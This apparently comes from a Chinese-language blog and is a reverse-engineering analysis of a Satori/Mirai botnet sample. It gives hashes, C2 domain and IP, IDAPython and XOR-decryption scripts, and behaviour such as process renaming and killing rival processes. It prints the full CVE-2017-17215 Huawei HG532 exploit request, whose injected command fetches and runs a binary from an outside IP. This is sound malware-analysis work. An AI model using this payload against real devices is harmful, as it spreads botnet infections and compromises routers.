Joe1sn's Cabinet

Mirai Botnet分支Satori分析

暂时先更新这么多,后面应该还有相关作者被抓的一些消息和更多功能的逆向

基本情况

名称 x86_64
MD5 fe7ca3b588e342f79c7814bb75dc24d7
SHA256 e436196f047741070c580695f5444e0c2cdd175c88f68affdc9230d09a71c978
Domain botnet.nguyennghi.info
ip 103.183.118.73

逆向分析

基本情况

image-20230319130912500

64位ELF可执行文件

image-20230319131036258

逆向工程

通过start找到main函数

image-20230319131156050

使用IDApython脚本对类似的库函数实现进行函数重命名

image-20230319131304684

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import idautils
import idaapi
import ida_name
import idc

for func_ea in idautils.Functions():
func = idaapi.get_func(func_ea)
name = idaapi.get_func_name(func_ea)

for head in idautils.Heads(func.start_ea, func.end_ea):
try:
code = idc.GetDisasm(head)
if "syscall" in code:
print("Function: {}".format(name).ljust(0x40,'-'))
print(code[21:].ljust(0x30,"="))
ida_name.set_name(func.start_ea, code[21:])
idc.set_func_flags(func.start_ea, idc.get_func_flags(func_ea) | idaapi.FUNC_LIB)
except:
pass

image-20230319131712988

main函数

  1. 首先创建向8.8.8.8:13568的socket连接,通过getsockname测试网络是否连通并获得本机ip地址

    image-20230319133229045

  2. 初始化加密消息

    由于使用未知版本的lib库进行静态编译,所以需要手动识别一些lib函数。

    比如这里使用malloc分配并将密文使用strncpy将消息复制到堆中

    image-20230319145038585

  3. 利用pid和随机数进行随机数生成,对进程进行随机改名

    • 将time生成的伪随机数和pid进行异或等操作得到随机数

      image-20230319145721197

    • 通过位移等操作实现随机数的范围控制

    image-20230319145655202

    • 在之后使用ptrcl进行进程的重命名

      image-20230319164552839

  4. 拼接指令过后,修改相关信号变量值,并在vforkexecl中执行

    • 拼接命令字符串

      image-20230319164254112

    • 设置信号量并使用vfork执行

      image-20230319164122065

      image-20230319163508664

    • vfork部分

      image-20230319164454462

    • 执行的语句为

      1
      /bin/sh sh -c rm -rf $root_random_name && mkdir bin; > $cur_random_name && mv $pwd $root_random_name ; chmod 777 $root_random_name

      例如

      1
      /bin/sh sh -c rm -rf bin/watchdog && mkdir bin \336\377\377\377\177; >bin/watchdog &&  mv /home/test/Desktop/HackedByAlan/check/mirai bin/watchdog; chmod 777 bin/watchdog
      1. 随机选择 "/bin/busybox";"/bin/watchdog""/bin/systemd"中的一个($root_random_name)中的一个删除
      2. 当前文件夹创建bin目录
      3. 将当前目录下的病毒移动至创建的bin目录中,并重命名$root_random_name
      4. 给予bin/$root_random_name最高权限

      通过多次运行可以成功实现,如果&& mkdir bin \336\377\377\377\177中没有乱码,那么就会执行后一句

      image-20230319230512195

  5. 使用异或解密字符串并打印,完成后加密字符串

    • 过程

      image-20230319173516052

    • 利用其自身的解密脚本,可以解密所有密文

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      str1 = [ 0x4C, 0x41, 0x5A, 0x40, 0x4B, 0x5A, 0x00, 0x40, 0x49, 0x5B, 0x57, 0x4B, 0x40, 0x40, 0x49, 0x46, 0x47, 0x00, 0x47, 0x40, 0x48, 0x41, 0x2E]
      str2 = [0x4A, 0x41, 0x40, 0x4B]
      str3 = [0x01, 0x5E, 0x5C, 0x41, 0x4D, 0x01, 0x2E]
      str4 = [0x01, 0x4B, 0x56, 0x4B, 0x2E]
      str5 = [0x01, 0x48, 0x4A, 0x2E]
      str6 = [0x01, 0x4D, 0x43, 0x4A, 0x42, 0x47, 0x40, 0x4B, 0x2E]

      key = 0x6D53D2C2

      def decrypt(cipher:list):
      v3 = key & 0xFF
      v4 = key >> 8
      v5 = (key >> 16) & 0xFFFF
      v6 = (key >> 24) & 0xFF
      result = ""
      for i in cipher:
      result += chr((i^v3^v4^v5^v6 )& 0xFF)
      return result

      if __name__ == '__main__':
      print("1", decrypt(str1))
      print("2", decrypt(str2))
      print("3", decrypt(str3))
      print("4", decrypt(str4))
      print("5", decrypt(str5))
      print("6", decrypt(str6))

      image-20230319220907909

    • 加密字符串,由于是异或加密,所以加解密算法一致

image-20230319174504355

image-20230319174521783

  1. 合适函数表,讲函数放到一个table中

    image-20230325174924309

  2. 使用fork获得子进程,打开/proc文件夹并读取其中的文件,关闭除必要进程外的所有进程

    • 打开/proc/文件夹

      image-20230325175147772

      image-20230325175200591

    • 关闭除必要进程外的所有进程

      image-20230325175235928

  3. 使用SSDP协议进行网络发包,使用华为HG532远程命令执行漏洞(CVE-2017-17215)的payload进行发包,进行攻击

    • 进行攻击

      1. 创建socket

        image-20230325175953274

      2. 设置 socket 选项,允许向组播地址发送数据

        image-20230325181258334

      3. 设置目标地址和端口号

        image-20230325181453140

      4. 构造 M-SEARCH 请求报文,发送搜索请求

        image-20230325175636859

        image-20230325175725576

        image-20230325175739448

    • payload分析

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
      Connection: keep-alive
      Accept: */*
      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e
      3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
      Content-Length: 457

      <?xml version="1.0" ?>
      <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <s:Body>
      <u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
      <NewStatusURL>$(/bin/busybox wget -g 103.183.118.73 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL>
      <NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>
      </u:Upgrade>
      </s:Body>
      </s:Envelope>

      核心语句

      /bin/busybox wget -g 103.183.118.73 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei

网络连接相关

DNS SERVER

anuj.ns.cloudflare.com. 173.245.59.65 anuj.ns.cloudflare.com CLOUDFLARENET United States
raphaela.ns.cloudflare.com. 108.162.194.192 raphaela.ns.cloudflare.com CLOUDFLARENET United States

Host Records (A)

nguyennghi.info HTTP: cloudflare 104.21.78.122 CLOUDFLARENET unknown
antiddos.nguyennghi.info 103.161.181.140 DVS-AS-VN VIET DIGITAL TECHNOLOGY LIABILITY COMPANY Vietnam
checkht4gvpn.nguyennghi.info
HTTP: cloudflare
172.67.220.248 CLOUDFLARENET United States